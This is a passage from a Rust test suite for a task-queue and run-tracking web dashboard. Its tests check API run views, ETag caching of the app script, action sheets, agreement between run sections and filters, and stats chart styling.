15981 #[tokio::test]
15982 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15983 let fx = Fixture::start().await;
15984 let q = fx.queue();
15985 let runs = fx.runs();
15986
15987 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15990 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15991 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15992 let mut t1 = Task::new(
15993 "still stuck".to_owned(),
15994 "do it".to_owned(),
15995 PathBuf::from("/repo"),
15996 Source::Human,
15997 );
15998 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15999 q.put(&mut t1).expect("put");
16000 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16001 assert_eq!(view1["latest_attempt"]["resolved"], false);
16002 assert_eq!(view1["latest_attempt"]["status"], "blocked");
16003 assert_eq!(view1["latest_attempt"]["done"], true);
16004
16005 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16007 write_run(&runs, run_a, RunStatus::Blocked);
16008 write_run(&runs, run_b, RunStatus::Implementing);
16009 let mut t3 = Task::new(
16010 "retrying".to_owned(),
16011 "do it".to_owned(),
16012 PathBuf::from("/repo"),
16013 Source::Human,
16014 );
16015 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16016 q.put(&mut t3).expect("put");
16017 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16018 assert_eq!(view3["latest_attempt"]["id"], run_b);
16019 assert_eq!(view3["latest_attempt"]["resolved"], false);
16020 assert_eq!(view3["latest_attempt"]["done"], false);
16021
16022 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16027 write_run(&runs, noop_a, RunStatus::Blocked);
16028 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16029 let mut t2 = Task::new(
16030 "claims done".to_owned(),
16031 "do it".to_owned(),
16032 PathBuf::from("/repo"),
16033 Source::Human,
16034 );
16035 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16036 q.put(&mut t2).expect("put");
16037 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16038 assert_eq!(
16039 view2["latest_attempt"]["resolved"], false,
16040 "an unverified no-op claim must not read as a confirmed finish"
16041 );
16042
16043 assert!(APP_JS.contains("latest.resolved"));
16046 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16049 assert!(APP_JS.contains("Latest attempt: "));
16050 assert!(APP_JS.contains("in flight"));
16051 assert!(APP_JS.contains("not resolved"));
16052 }
16053
16054 #[tokio::test]
16055 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16056 let fx = Fixture::start().await;
16057 let js = fx.get("/app.js").await;
16063 assert_eq!(js.status, 200);
16064 let tag = js
16065 .header("etag")
16066 .expect("an etag to revalidate against")
16067 .to_owned();
16068 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16069 assert_eq!(
16070 js.header("cache-control"),
16071 Some("no-cache, must-revalidate"),
16072 "the phone has to ask every time"
16073 );
16074
16075 let again = fx
16078 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16079 .await;
16080 assert_eq!(
16081 again.status, 304,
16082 "a deck it already has costs one round trip"
16083 );
16084 assert!(again.body.is_empty(), "304 carries no body");
16085
16086 let weak = fx
16089 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16090 .await;
16091 assert_eq!(weak.status, 304);
16092 let stale = fx
16093 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16094 .await;
16095 assert_eq!(stale.status, 200, "an older build must be replaced");
16096 assert!(stale.body.contains("renderRunActions"));
16097 }
16098
16099 #[test]
16100 fn the_task_detail_has_an_actions_fab_and_sheet() {
16101 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16102 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16103 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16104 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16106 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16107 assert!(APP_JS.contains("renderTaskActions(task);"));
16109 assert!(APP_JS.contains("renderTaskActions(null);"));
16110 let sheet = APP_JS
16112 .find("function renderTaskActions")
16113 .expect("sheet renderer");
16114 let body = &APP_JS[sheet..sheet + 3000];
16115 assert!(body.contains("changePriority("));
16116 assert!(body.contains("openTaskEdit(task)"));
16117 assert!(body.contains("renderTaskHoldBox(host"));
16118 assert!(body.contains("renderTaskDoneBox(host"));
16119 assert!(body.contains("renderTaskDeleteBox(host"));
16120 assert!(APP_JS.contains("API.priority(id)"));
16121 assert!(APP_JS.contains("API.deleteTask(id)"));
16122 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16124 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16126 }
16127
16128 #[test]
16129 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16130 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16131 let actions = INDEX_HTML
16132 .find("id=\"run-actions-box\"")
16133 .expect("actions box");
16134 assert!(task < actions, "the task entry comes first in the sheet");
16135 assert!(APP_JS.contains("renderRunTaskEntry"));
16136 assert!(APP_JS.contains("\"Open task \""));
16137 assert!(APP_JS.contains("started directly, no task"));
16139 assert!(APP_JS.contains("sheet-task-link"));
16140 assert!(APP_JS.contains("task-chip-link"));
16141 }
16142
16143 #[test]
16144 fn the_deck_never_sends_the_operator_to_a_terminal() {
16145 assert!(
16148 !APP_JS.contains("Run `magi fold` first"),
16149 "the deck must offer the fold, not prescribe a shell command"
16150 );
16151 assert!(APP_JS.contains("foldRun:"));
16152 assert!(APP_JS.contains("resumeRun:"));
16153 assert!(APP_JS.contains("renderRunActions"));
16154
16155 assert!(APP_JS.contains("armedFold"));
16157 assert!(APP_JS.contains("Yes, fold worktrees"));
16158
16159 assert!(APP_JS.contains("can no longer be resumed"));
16162 }
16163
16164 #[test]
16165 fn a_finished_run_explains_itself_with_its_own_last_line() {
16166 assert!(
16172 !APP_JS.contains("collapsed on agent quota"),
16173 "a stall must not be explained by a cause the deck did not check"
16174 );
16175 assert!(
16176 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16177 "and a block must not offer a guess with an `or` in it"
16178 );
16179
16180 assert!(
16184 APP_JS.contains("setText(r.event, run.event || \"\")"),
16185 "the run's last line is rendered unconditionally"
16186 );
16187 assert!(
16188 !APP_JS.contains("moving && run.event"),
16189 "and never gated on the run still moving"
16190 );
16191
16192 assert!(APP_JS.contains("lost to quota"));
16194 }
16195
16196 #[test]
16218 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16219 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16220 let shapes_body_start =
16221 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16222 let shapes_close = APP_JS[shapes_body_start..]
16223 .find("].map(")
16224 .expect("the shape list is closed by its done-computing .map(...)")
16225 + shapes_body_start;
16226 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16227
16228 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16229 for entry in shapes_src.split('{').skip(1) {
16230 let waiting = entry.contains("waiting: true");
16231 let dead = entry.contains("live: \"dead\"");
16232 let status_at =
16233 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16234 let status_end = entry[status_at..]
16235 .find('"')
16236 .expect("the status string is closed")
16237 + status_at;
16238 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16239 }
16240 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16241
16242 let done_rule_marker = "done: !";
16246 let done_rule_at = APP_JS[shapes_close..]
16247 .find(done_rule_marker)
16248 .expect("the done rule follows the shape list")
16249 + shapes_close
16250 + done_rule_marker.len();
16251 let includes_at = APP_JS[done_rule_at..]
16252 .find(".includes(shape.status)")
16253 .expect("the done rule ends in .includes(shape.status)")
16254 + done_rule_at;
16255 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16256 .trim()
16257 .trim_start_matches('[')
16258 .trim_end_matches(']')
16259 .split(',')
16260 .map(|s| s.trim().trim_matches('"'))
16261 .filter(|s| !s.is_empty())
16262 .collect();
16263
16264 let shapes: Vec<(bool, String, bool, bool)> = shapes
16265 .into_iter()
16266 .map(|(waiting, status, dead)| {
16267 let done = !not_done.contains(&status.as_str());
16268 (waiting, status, dead, done)
16269 })
16270 .collect();
16271
16272 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16276 if waiting {
16277 return "waiting";
16278 }
16279 if dead
16280 && !matches!(
16281 status,
16282 "merged"
16283 | "ready"
16284 | "stalled"
16285 | "blocked"
16286 | "failed"
16287 | "verified_noop"
16288 | "superseded"
16289 | "already_in_base"
16290 )
16291 {
16292 return "stale";
16293 }
16294 match status {
16295 "merged" | "ready" => "landed",
16296 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16297 | "already_in_base" => "ended",
16298 _ => "flight",
16299 }
16300 }
16301
16302 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16305 match filter_key {
16306 "active" => !done,
16307 "flight" => !done && !waiting && !dead,
16308 "stale" => !done && !waiting && dead,
16309 "waiting" => waiting,
16310 "done" => done,
16311 "all" => true,
16312 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16313 }
16314 }
16315
16316 let compatible = |section: &str, filter_key: &str| {
16317 shapes.iter().any(|(waiting, status, dead, done)| {
16318 run_section(*waiting, status, *dead) == section
16319 && filter_matches(filter_key, *waiting, *dead, *done)
16320 })
16321 };
16322
16323 let expected = [
16328 ("waiting", [true, false, false, true, true, true]),
16329 ("stale", [true, false, true, false, false, true]),
16330 ("flight", [true, true, false, false, false, true]),
16331 ("landed", [false, false, false, false, true, true]),
16332 ("ended", [false, false, false, false, true, true]),
16333 ];
16334 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16335
16336 for (section, wants) in expected {
16337 for (filter_key, want) in filter_keys.iter().zip(wants) {
16338 assert_eq!(
16339 compatible(section, filter_key),
16340 want,
16341 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16342 );
16343 }
16344 }
16345
16346 assert!(
16349 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16350 );
16351 assert!(APP_JS.contains(
16352 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16353 ));
16354 assert!(APP_JS.contains(
16355 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16356 ));
16357 }
16358
16359 #[tokio::test]
16360 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16361 let dir = tempfile::tempdir().expect("tempdir");
16365 let explicit = dir.path().join("not-a-checkout");
16366 std::fs::create_dir_all(&explicit).expect("create dir");
16367 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16368
16369 let missing = dir.path().join("does-not-exist-at-all");
16370 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16371 }
16372
16373 #[test]
16374 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16375 assert!(APP_JS.contains("function statsDonutArcs"));
16376 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16377 assert!(APP_JS.contains("function statusInBucket"));
16379 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16380 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16381 let buckets = [
16382 "merged",
16383 "ready",
16384 "in_progress",
16385 "blocked",
16386 "failed",
16387 "verified_noop",
16388 "superseded",
16389 "stalled",
16390 ];
16391 for key in buckets {
16392 let var = format!("--verdict-{key}:");
16393 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16395 assert!(
16396 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16397 "{key}"
16398 );
16399 }
16400 }
16401}